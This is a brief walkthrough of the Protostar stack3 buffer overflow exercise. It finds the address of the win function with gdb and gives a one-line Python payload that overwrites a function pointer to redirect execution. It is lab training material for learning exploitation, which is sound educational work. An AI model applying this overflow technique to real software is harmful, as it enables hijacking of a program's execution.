In this exercise we have to set a memory area to the address of the win function, so that we can alter the execution flow.

Let us first determine the address of the win function.

$ gdb /opt/protostar/bin/stack3
(gdb) disassemble win

The address of the first instruction of the function is 0x08048424. Remember that the architecture is little endian and the bytes should be passed in reverse order. The solution:

python -c ‘print “A”*64 + “\x24\x84\x04\x08″‘ | /opt/protostar/bin/stack3

screen-shot-2016-11-26-at-20-07-04